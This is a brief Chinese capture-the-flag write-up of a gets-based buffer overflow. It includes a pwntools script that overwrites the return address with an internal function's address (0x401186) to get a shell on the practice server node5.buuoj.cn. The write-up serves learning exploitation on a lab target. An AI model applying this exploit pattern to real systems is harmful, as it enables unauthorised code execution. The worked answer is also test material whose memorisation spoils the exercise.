这题考的是:缓冲区溢出漏洞
打开IDA,发现函数里有一个fun函数,能直接调用系统函数
而main中没有调用这个函数
我们要做的就是利用这个函数进行调用系统函数
这文件是在靶机,就是靶机存在这个漏洞,我们要攻击他
那么来看一下main,发现很简单,只有一个gets获取输入,存到s数组变量里
看一下双击s变量,缓冲区大小
知道了缓冲区大小,下一步就要知道fun函数的入口地址
从汇编上看,是能够发现有注释告诉我们的入口地址
import pwn
# 建立连接
p = pwn.remote('node5.buuoj.cn','27771')
# 拼接payload,15个字节的空间占满,然后拼接上函数入口地址
payload = 'a'.encode()*15 + pwn.p64(0x401186)
# 发送代码
p.sendline(payload)
# 建立交互shell
p.interactive()
可能是因为fun函数里有system这种终端控制函数,所以能getshell吧
然后又可以建立连接,很屌,解释不清楚,以后做多两题才懂